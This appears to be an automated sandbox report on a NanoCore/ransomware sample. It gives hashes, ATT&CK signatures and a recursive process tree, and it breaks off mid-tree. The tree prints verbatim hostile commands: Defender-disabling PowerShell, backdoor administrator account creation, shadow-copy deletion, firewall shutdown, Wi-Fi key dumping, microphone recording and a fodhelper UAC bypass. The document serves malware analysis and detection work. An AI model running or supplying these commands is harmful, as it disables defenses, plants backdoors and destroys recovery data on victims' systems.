nanocore | f53232a69049b9bd4961eaf49fc152c0fb6e013aca26f73c892f6cd9c61e4e77

Analysis

max time kernel
1s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 05:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
90phutzay.tv_ransome.exe
Size 39KB
Sample261027-gct6ssay2v
SHA256 f53232a69049b9bd4961eaf49fc152c0fb6e013aca26f73c892f6cd9c61e4e77
MD5 a993edfe28b17a838d5f6162d55b654b
SHA1 cf97894d7a557e744d9feb429e67a9c773a2e9c9
SHA512 e8159608359a0f4aa49e3fd2b8da4569f90364a1d4e2d2880fdc60df574353b768820b945f4da5ec04e75a9ae65e873fc29614ae3b9d655f53691d9aca9ed6ef
SSDEEP 768:tIX+3t4tMYrbLcqNuYs37sGXmoIx9uHmdEEusXqKhLayzU:dd4tBbLk4EmoIx9uGdf9XqiLE
TLSH
T15403E70537FD8668E1BF6AB74D7282008775F8979D23D70D0ED1848E1AB3B448E99B93
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore impact keylogger persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
22401

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 29 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
7272	powershell.exe
10364	powershell.exe
4144	powershell.exe
7704	powershell.exe
8720	powershell.exe
10260	powershell.exe
13728	powershell.exe
4124	powershell.exe
2836	powershell.exe
6816	powershell.exe
14840	powershell.exe
3916	powershell.exe
9336	powershell.exe
1980	powershell.exe
12468	powershell.exe
13436	powershell.exe
4436	powershell.exe
6012	powershell.exe
6632	powershell.exe
1900	powershell.exe
4288	powershell.exe
5724	powershell.exe
6328	powershell.exe
10296	powershell.exe
4528	powershell.exe
12440	powershell.exe
12432	powershell.exe
9548	powershell.exe
15216	powershell.exe

Modifies Windows Firewall 2 TTPs 22 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2164	netsh.exe
14776	netsh.exe
7812	netsh.exe
7256	netsh.exe
11212	netsh.exe
388	netsh.exe
9552	netsh.exe
9464	netsh.exe
6560	netsh.exe
10656	netsh.exe
12164	netsh.exe
7828	netsh.exe
2052	netsh.exe
8228	netsh.exe
11772	netsh.exe
10736	netsh.exe
11568	netsh.exe
4740	netsh.exe
11332	netsh.exe
15092	netsh.exe
10648	netsh.exe
11388	netsh.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	90phutzay.tv_ransome.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzay.tv_ransome.exe"	90phutzay.tv_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	90phutzay.tv_ransome.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 52 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2836	powershell.exe
6816	powershell.exe
9548	powershell.exe
6328	powershell.exe
9336	powershell.exe
10260	powershell.exe
4436	powershell.exe
8720	powershell.exe
12468	powershell.exe
1900	powershell.exe
13436	powershell.exe
15216	powershell.exe
7704	powershell.exe
13728	powershell.exe
12432	powershell.exe
12440	powershell.exe
4144	powershell.exe
7272	powershell.exe
6632	powershell.exe
10364	powershell.exe
14840	powershell.exe
4528	powershell.exe
1980	powershell.exe
10296	powershell.exe
3916	powershell.exe
4124	powershell.exe
4288	powershell.exe
5724	powershell.exe
6012	powershell.exe
14000	powershell.exe
15108	powershell.exe
8560	powershell.exe
12232	powershell.exe
13568	powershell.exe
12272	powershell.exe
13116	powershell.exe
13924	powershell.exe
13048	powershell.exe
6968	powershell.exe
8360	powershell.exe
1476	powershell.exe
10480	powershell.exe
9856	powershell.exe
11308	powershell.exe
11352	powershell.exe
4320	powershell.exe
8200	powershell.exe
9156	powershell.exe
2372	powershell.exe
10164	powershell.exe
11288	powershell.exe
12192	powershell.exe

Creates a new local user account 1 TTPs 56 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
5908	net.exe
7756	net.exe
7660	net1.exe
8288	net.exe
11200	net.exe
8284	net.exe
15316	net1.exe
3220	net.exe
5244	net.exe
6992	net.exe
8440	net1.exe
11008	net.exe
6888	net.exe
11532	net.exe
9228	net1.exe
5760	net.exe
11348	net1.exe
324	net1.exe
7616	net1.exe
8972	net.exe
7884	net1.exe
12864	net.exe
13092	net1.exe
7836	net1.exe
12128	net1.exe
10352	net.exe
5144	net1.exe
6204	net1.exe
1056	net1.exe
13796	net1.exe
11316	net1.exe
1956	net1.exe
5876	net.exe
7012	net.exe
204	net1.exe
9128	net.exe
11156	net1.exe
11612	net1.exe
13556	net.exe
5656	net1.exe
4812	net1.exe
6192	net.exe
8100	net.exe
8844	net1.exe
9036	net.exe
13776	net.exe
14384	net1.exe
2456	net.exe
4232	net1.exe
13792	net.exe
14780	net1.exe
10448	net.exe
13468	net.exe
5008	net.exe
1184	net1.exe
6484	net1.exe

Launches sc.exe 20 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
14204	sc.exe
9968	sc.exe
13280	sc.exe
6660	sc.exe
8648	sc.exe
10800	sc.exe
12660	sc.exe
8704	sc.exe
13328	sc.exe
10168	sc.exe
14200	sc.exe
10176	sc.exe
9072	sc.exe
11992	sc.exe
12708	sc.exe
7584	sc.exe
10308	sc.exe
13252	sc.exe
2496	sc.exe
11740	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 23 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
11548	netsh.exe
13700	netsh.exe
8252	netsh.exe
7896	netsh.exe
9580	netsh.exe
9968	netsh.exe
11512	netsh.exe
4572	netsh.exe
14760	netsh.exe
12788	netsh.exe
7980	netsh.exe
8508	netsh.exe
5348	netsh.exe
14120	netsh.exe
11932	netsh.exe
15068	netsh.exe
10820	netsh.exe
8392	netsh.exe
4740	netsh.exe
9840	netsh.exe
13560	netsh.exe
14984	netsh.exe
12924	netsh.exe

Interacts with shadow copies 3 TTPs 23 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
14276	vssadmin.exe
14440	vssadmin.exe
14768	vssadmin.exe
10100	vssadmin.exe
10224	vssadmin.exe
10504	vssadmin.exe
11344	vssadmin.exe
8368	vssadmin.exe
12536	vssadmin.exe
12168	vssadmin.exe
6836	vssadmin.exe
9756	vssadmin.exe
11644	vssadmin.exe
11896	vssadmin.exe
2852	vssadmin.exe
10164	vssadmin.exe
9300	vssadmin.exe
9628	vssadmin.exe
12908	vssadmin.exe
7628	vssadmin.exe
7780	vssadmin.exe
11588	vssadmin.exe
9368	vssadmin.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell\open\command	90phutzay.tv_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings	90phutzay.tv_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell	90phutzay.tv_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell\open	90phutzay.tv_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzay.tv_ransome.exe"	90phutzay.tv_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\shell\open\command\DelegateExecute	90phutzay.tv_ransome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 29 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
8148	schtasks.exe
1280	schtasks.exe
9656	schtasks.exe
9796	schtasks.exe
11672	schtasks.exe
6932	schtasks.exe
1156	schtasks.exe
992	schtasks.exe
4452	schtasks.exe
7648	schtasks.exe
9804	schtasks.exe
12744	schtasks.exe
3392	schtasks.exe
5952	schtasks.exe
3144	schtasks.exe
6772	schtasks.exe
2560	schtasks.exe
7224	schtasks.exe
2876	schtasks.exe
13808	schtasks.exe
15028	schtasks.exe
13836	schtasks.exe
6260	schtasks.exe
3028	schtasks.exe
4932	schtasks.exe
8956	schtasks.exe
12880	schtasks.exe
13744	schtasks.exe
10276	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2504	cmstp.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4916	mmc.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4176 wrote to memory of 3028	4176	90phutzay.tv_ransome.exe	89
PID 4176 wrote to memory of 2504	4176	90phutzay.tv_ransome.exe	91
PID 4176 wrote to memory of 2244	4176	90phutzay.tv_ransome.exe	92
PID 2244 wrote to memory of 4916	2244	eventvwr.exe	93
PID 4176 wrote to memory of 3464	4176	90phutzay.tv_ransome.exe	94
PID 4176 wrote to memory of 4288	4176	90phutzay.tv_ransome.exe	95

C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
"C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3028
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f0dd3073-8e4a-4625-822a-27ec83850579.inf
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2504
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2244
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:4916
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3464
- - C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
    3⤵
    PID:2232
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2560
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\135e92e3-add8-4d5a-8c04-42cf23cbb3f4.inf
      4⤵
      PID:1476
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:2784
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:4728
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:4468
    - - C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        5⤵
        
        PID:1664
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1280
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c986ee82-77e0-4113-b0d7-5cfb360a4a23.inf
        6⤵
        
        PID:3948
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:5320
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:2864
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:1752
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        7⤵
        
        PID:4508
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5952
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\591759e3-34bd-4132-803f-36252571030c.inf
        8⤵
        
        PID:4800
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:6088
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:4316
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:5336
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        9⤵
        
        PID:6532
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3144
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d946de71-1678-4235-93db-85ff98700b96.inf
        10⤵
        
        PID:6784
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:6972
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:7060
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:3552
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        11⤵
        
        PID:7936
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6772
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3db52dc9-6bca-48fd-a8f7-1a0692566d94.inf
        12⤵
        
        PID:7828
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:7220
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:7620
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:7348
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        13⤵
        
        PID:7076
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9796
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c003b3e9-9fd3-4cf4-83ba-c6b4db36c7d1.inf
        14⤵
        
        PID:9460
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:9508
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:9936
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:4764
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        15⤵
        
        PID:11232
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13744
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3f7231fc-788b-4037-9379-b7226eca5899.inf
        16⤵
        
        PID:14316
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:11252
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:14432
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:14644
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        17⤵
        
        PID:8216
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7648
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\745273fe-d9ee-4245-9138-51fe56bb79c6.inf
        18⤵
        
        PID:10384
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:8072
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:4612
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:9580
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        19⤵
        
        PID:11036
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:15028
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\469b6bde-303a-4aa4-a9fe-8eab3eda272f.inf
        20⤵
        
        PID:13288
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:15004
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:10636
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:10552
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        21⤵
        
        PID:3924
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12744
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\30f84d9e-97ae-4253-8e43-cfc72c52e2f2.inf
        22⤵
        
        PID:11820
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:12328
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:7276
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:9484
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:15216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3916
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:13468
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:12128
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:12652
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:12368
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:2348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4528
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:11532
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:9228
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:11116
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:7596
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:7836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286765499188396.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10480
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12924
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        18⤵
        Interacts with shadow copies
        
        PID:12168
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        18⤵
        
        PID:7148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:14840
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:13776
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:14384
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:15140
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:8872
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:7884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286765232818573.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4320
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:8392
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        16⤵
        Interacts with shadow copies
        
        PID:12536
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        16⤵
        
        PID:10548
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        16⤵
        
        PID:9836
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        17⤵
        
        PID:12600
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        16⤵
        Modifies Windows Firewall
        
        PID:9464
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        16⤵
        Launches sc.exe
        
        PID:11740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10364
        
        C:\Windows\SYSTEM32\net.exe
        
